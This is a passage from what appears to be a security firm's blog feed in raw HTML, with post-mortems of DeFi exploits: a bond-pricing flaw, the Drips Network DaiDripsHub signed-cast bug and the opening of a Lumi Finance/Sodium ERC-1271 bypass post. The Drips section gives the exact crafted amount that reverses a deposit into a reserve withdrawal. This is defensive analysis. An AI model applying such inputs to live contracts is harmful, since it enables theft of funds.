data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1428,&quot;width&quot;:1138,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:257247,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208638735?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6IJz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 424w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 848w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 1272w, https://substackcdn.com/image/fetch/$s_!6IJz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd8c60bc-c1d1-4552-a59b-870d82c857e0_1138x1428.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><span>Note that </span><code>bondPriceE8</code><span> comes entirely from </span><code>bondPricer</code><span> - a contract that prices a bond purely from its registered payoff function (</span><code>fnMap</code><span>) and the oracle price of the underlying, with no reference to whether the specific bond supply being priced was ever actually backed by matching collateral in the vault. Since the attacker&#8217;s bond group was permissionlessly registered with a custom payoff function, </span><code>_calcBondPriceAndSpread</code><span> priced it as if it were a normal, fully-collateralized bond - there was no check cross-referencing the bond&#8217;s real backing before this rate was used to swap it for USDC.</span></p><p><span>Finally, the attacker&#8217;s own orchestration contract, </span><a href="https://etherscan.io/address/0xe74d17c1bE3721E65e0af286D47B3BA58B08062e#code"><span>0xe74d17c1bE3721E65e0af286D47B3BA58B08062e</span></a><span>, has no verified source on Etherscan - unsurprising, since exploit contracts are essentially never voluntarily verified by their deployer. Its exact logic can still be recovered from its bytecode with a decompiler, cross-referenced against the exploit transaction&#8217;s execution trace and token-transfer logs, if a lower-level confirmation of its behavior is needed.</span></p><h1>Conclusion</h1><p><span>At its core, this incident was not a reentrancy bug or an access-control bypass, but a quiet logic flaw: a validation check that summed up totals instead of verifying each element individually, sitting next to a pricing function that trusted a permissionlessly-registered input without ever confirming it was backed by real collateral - together, this let the attacker mint synthetic bonds out of thin air and sell them into the protocol&#8217;s own liquidity for genuine USDC. It is a good example of how small mistakes in custom smart contract logic - especially around equivalence checks, token minting/burning, or pricing functions that consume permissionless input - can result in severe financial damage, even when the code has no obvious memory-safety or access-control issue. Protocols implementing non-standard mechanics like bond issuance, custom AMM pricing, or permissionless registration of financial instruments should treat this logic as no less security-critical than access control, and invest in comprehensive smart contract audits and security reviews - with adversarial, edge-case testing of validation and pricing logic in particular - before deploying such systems into production.</span></p>]]></content:encoded></item><item><title><![CDATA[Drips Network: When Giving Became Receiving]]></title><description><![CDATA[Drips Network Exploit]]></description><link>https://blog.verichains.io/p/drips-network-when-giving-became</link><guid isPermaLink="false">https://blog.verichains.io/p/drips-network-when-giving-became</guid><dc:creator><![CDATA[TK]]></dc:creator><pubDate>Fri, 24 Jul 2026 09:37:06 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Dhtd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On July 14, 2026, a legacy <strong>DaiDripsHub</strong> deployment on Ethereum was exploited for approximately 24,883 DAI. The attacker did not bypass access control or manipulate an oracle. Instead, a crafted <code>uint128</code> amount became negative when converted to <code>int128</code>, reversing an intended deposit into a reserve withdrawal.</p><h2><strong>Overview</strong></h2><p><strong>Attacker:</strong> <a href="https://etherscan.io/address/0x84da7a5e2315eb798f04b75554aeb15047269cce">0x84dA7a5e2315Eb798f04B75554AeB15047269CCE</a></p><p><strong>Attack Contract:</strong> <a href="https://etherscan.io/address/0x00c64b5a926ba1fcec30efad88c344c619f54f12">0x00c64B5a926ba1fceC30EfaD88C344c619F54F12</a></p><p><strong>Vulnerable Hub Proxy:</strong> <a href="https://etherscan.io/address/0x73043143e0a6418cc45d82d4505b096b802fd365">0x73043143e0a6418cc45d82d4505b096b802fd365</a></p><p><strong>Implementation at the Attack Block:</strong> <a href="https://etherscan.io/address/0x8d321e80487356c846f34456d31ce761776ef697#code">0x8d321e80487356c846f34456d31ce761776ef697</a></p><p><strong>DAI Reserve:</strong> <a href="https://etherscan.io/address/0xf9bbb2df44cfe46e501cf91c99b2f8fef9d9d44a#code">0xf9bbb2df44cfe46e501cf91c99b2f8fef9d9d44a</a></p><p><strong>Exploit TX:</strong> <a href="https://etherscan.io/tx/0xc38a6e2259a85ced94238a0b0a49697992f2a6b8140c28f3fd2343d3d8434130">0xc38a6e2259a85ced94238a0b0a49697992f2a6b8140c28f3fd2343d3d8434130</a></p><h2><strong>Exploit Analysis</strong></h2><p>The vulnerable contract exposes <code>give(address receiver, uint128 amt)</code>. Its intended behavior is simple: the caller gives <code>amt</code> DAI to a receiver, and the receiver can collect it immediately.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AD05!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AD05!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 424w, https://substackcdn.com/image/fetch/$s_!AD05!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 848w, https://substackcdn.com/image/fetch/$s_!AD05!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 1272w, https://substackcdn.com/image/fetch/$s_!AD05!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AD05!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png" width="1232" height="180" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:180,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:156973,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208310598?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AD05!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 424w, https://substackcdn.com/image/fetch/$s_!AD05!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 848w, https://substackcdn.com/image/fetch/$s_!AD05!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 1272w, https://substackcdn.com/image/fetch/$s_!AD05!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42657843-8ee7-444e-bd8b-63e688ad915c_1232x180.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The public function passes the caller and the unsigned amount into <code>_give()</code>.</p><h3><strong>The Unsafe Signed Conversion</strong></h3><p>Inside <code>_give()</code>, the contract increases the receiver&#8217;s collectable amount and then calls <code>_transfer()</code> with <code>-int128(amt)</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Dhtd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Dhtd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 424w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 848w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 1272w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Dhtd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png" width="1232" height="364" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d521602a-9426-4211-8443-63f22e7981d4_1232x364.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:364,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:279646,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208310598?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Dhtd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 424w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 848w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 1272w, https://substackcdn.com/image/fetch/$s_!Dhtd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd521602a-9426-4211-8443-63f22e7981d4_1232x364.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The negative sign is meant to describe direction. A negative value means funds should move from the user into the hub. A positive value means funds should move from the reserve to the user.</p><p>That convention becomes dangerous because <code>amt</code> is an untrusted <code>uint128</code>. The contract converts it to <code>int128</code> without checking that it is no greater than <code>type(int128).max</code>.</p><h3><strong>How One Number Reversed the Transfer</strong></h3><p>The reserve held exactly <code>24,882.995421947667857715</code> DAI. In DAI&#8217;s smallest unit, let that balance be <code>B</code>:</p><p><code>B = 24,882,995,421,947,667,857,715</code></p><p>The attacker supplied:</p><p><code>A = 2^128 - B</code></p><p><code>A = 340,282,366,920,938,438,580,379,185,484,100,353,741</code></p><p><code>A</code> is a valid <code>uint128</code>, but it is larger than the maximum positive <code>int128</code>. When explicitly converted, the same 128-bit pattern is interpreted as a signed value:</p><p><code>int128(A) = A - 2^128 = -B</code></p><p>The contract then negates it:</p><p><code>-int128(A) = B</code></p><p>Instead of passing a negative deposit amount into <code>_transfer()</code>, the contract passes the positive reserve balance.</p><h3><strong>The Withdrawal Branch</strong></h3><p><code>_transfer()</code> interprets positive and negative values as opposite operations.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zVzf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zVzf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 424w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 848w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 1272w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zVzf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png" width="1232" height="280" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:280,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:195148,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208310598?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zVzf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 424w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 848w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 1272w, https://substackcdn.com/image/fetch/$s_!zVzf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bded76d-c520-431b-bbcc-faca3bdc8f04_1232x280.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>For a positive amount, the hub calls <code>erc20Reserve.withdraw()</code> and then sends the withdrawn DAI to <code>user</code>. For a negative amount, it pulls DAI from the user and deposits it into the reserve.</p><p>The crafted conversion therefore selected the positive branch and withdrew the full recorded reserve balance.</p><p>The reserve itself correctly restricts withdrawals to its configured hub and checks its internal balance. Those protections did not help because the vulnerable hub was the authorized caller and requested exactly the available balance.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pCN4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pCN4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 424w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 848w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 1272w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pCN4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png" width="1232" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:162272,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/208310598?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pCN4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 424w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 848w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 1272w, https://substackcdn.com/image/fetch/$s_!pCN4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F216a1802-afa8-4930-86d7-ae5104d5b261_1232x247.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3><strong>Attack Flow</strong></h3><p>The exploit completed in one transaction:</p><ol><li><p>The attacker contract called the hub&#8217;s <code>give()</code> function with <code>A = 2^128 - B</code>.</p></li><li><p><code>_give()</code> recorded the huge unsigned amount as collectable for the chosen receiver.</p></li><li><p><code>int128(A)</code> became <code>-B</code>, and the leading negative sign changed it back to positive <code>B</code>.</p></li><li><p><code>_transfer()</code> treated positive <code>B</code> as a withdrawal and pulled the entire DAI balance from the reserve.</p></li><li><p>The hub sent the DAI to the attack contract, which forwarded it to the attacker.</p></li></ol><p>The exploit transaction confirms this flow. The hub emitted the crafted <code>A</code> value, while the ERC-20 transfers show <code>24,882.995421947667857715</code> DAI moving from the reserve to the hub, then to the attack contract, and finally to the attacker.</p><h2><strong>The Root Cause</strong></h2><p>The root cause was an unchecked unsigned-to-signed conversion used to control transfer direction.</p><p>Solidity 0.8 checked arithmetic does not reject this explicit conversion. Converting a <code>uint128</code> above <code>type(int128).max</code> to <code>int128</code> preserves the 128-bit pattern and interprets its high bit as the sign bit.</p><p>The vulnerable assumption was that <code>-int128(amt)</code> must always be negative because <code>amt</code> was unsigned. That is only true when:</p><p><code>amt &lt;= type(int128).max</code></p><p>No such validation existed. As a result, user-controlled input could cross the signed boundary and turn the intended deposit signal into a withdrawal signal.</p><h2><strong>Conclusion</strong></h2><p>When converting unsigned values to signed values, always validate that the input fits in the positive range of the destination type before casting. Checked arithmetic does not make explicit type conversions safe by itself.</p><p>Transfer direction should also be represented explicitly instead of being inferred from the sign of a user-controlled value. Separate deposit and withdrawal paths, or a checked conversion helper, would have prevented this bug.</p><p>Furthermore, conducting a security audit is strongly recommended for all projects, including smart contracts, backends, wallets, and dapps.</p>]]></content:encoded></item><item><title><![CDATA[Lumi Finance Exploit: ERC-1271 Bypass and Unauthorized Token Approvals in Sodium Smart Accounts]]></title><description><![CDATA[On July 13, 2026, an attacker drained approximately $270,000 in tokens from Sodium smart accounts associated with Lumi Finance on Arbitrum.]]></description><link>https://blog.verichains.io/p/lumi-finance-exploit-erc-1271-bypass</link><guid isPermaLink="false">https://blog.verichains.io/p/lumi-finance-exploit-erc-1271-bypass</guid><dc:creator><![CDATA[lifebow]]></dc:creator><pubDate>Thu, 16 Jul 2026 03:00:34 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!XZCb!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F20abd958-d8c9-49ef-8c21-44117564e63e_1280x1280.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On July 13, 2026, an attacker drained approximately <strong>$270,000</strong> in tokens from Sodium smart accounts associated with Lumi Finance on Arbitrum. The on-chain path analyzed here targets the Sodium accounts, not a Lumi liquidity-pool contract.</p><p>The exploit required two bugs to work together. First, Sodium accepted an attacker-selected contract as a valid ERC-1271 signer and session key. Second, <code>validateUserOp</code> used attacker-controlled <code>paymasterAndData</code> to grant that same contract unlimited ERC-20 allowances. The allowances persisted even though the later account-execution calls failed.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" 